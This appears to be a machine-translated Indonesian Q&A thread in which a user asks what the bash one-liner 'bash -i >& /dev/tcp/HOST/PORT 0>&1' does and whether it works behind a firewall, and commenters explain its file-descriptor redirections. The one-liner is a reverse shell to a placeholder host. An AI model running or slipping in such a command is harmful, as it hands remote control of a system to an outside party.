Saya mencoba
bash -i >& /dev/tcp/HOST/PORT 0>&1
tetapi tampaknya tidak berfungsi di balik firewall. Apa yang sebenarnya dilakukan kode ini, port mana yang diteruskan dan bisakah ia bekerja di belakang firewall?
bash
io-redirection
tcp
Helos
sumber
sumber
/dev/tcp/HOST/PORT
? Saya berasumsi bahwa Anda telah mengganti nama denganHOST
dan nomor denganPORT
. Kalau tidak, Anda akan mendapatkan pesan kesalahan dari bash. Karena Anda tidak menyebutkan pesan kesalahan, saya berasumsi bahwa Anda tidak melihatnya.0<&1
bagian itu. Saya membacanya sebagai 'take bash stdout (&1
) dan pipa itu menjadi bash stdin (0
)', yang masuk akal. Bisakah Anda jelaskan cara kerja bagian ini?0<&1
berarti menghubungkan apa pun yang saat ini dibuka pada file deskriptor 1 ke file deskriptor 0. Karena pengalihan sebelumnya>& /dev/tcp/HOST/PORT
terhubung fd 1 (default untuk redirection output) untuk/dev/tcp/HOST/PORT
, yaitu membuka soket TCP, ini menggandakan koneksi TCP ke file deskriptor 0 (yaitu soket yang sama sekarang juga terbuka pada fd 0, ini berbeda dari 0 </ dev / tcp / HOST / PORT yang akan membuka soket yang berbeda ke server yang sama).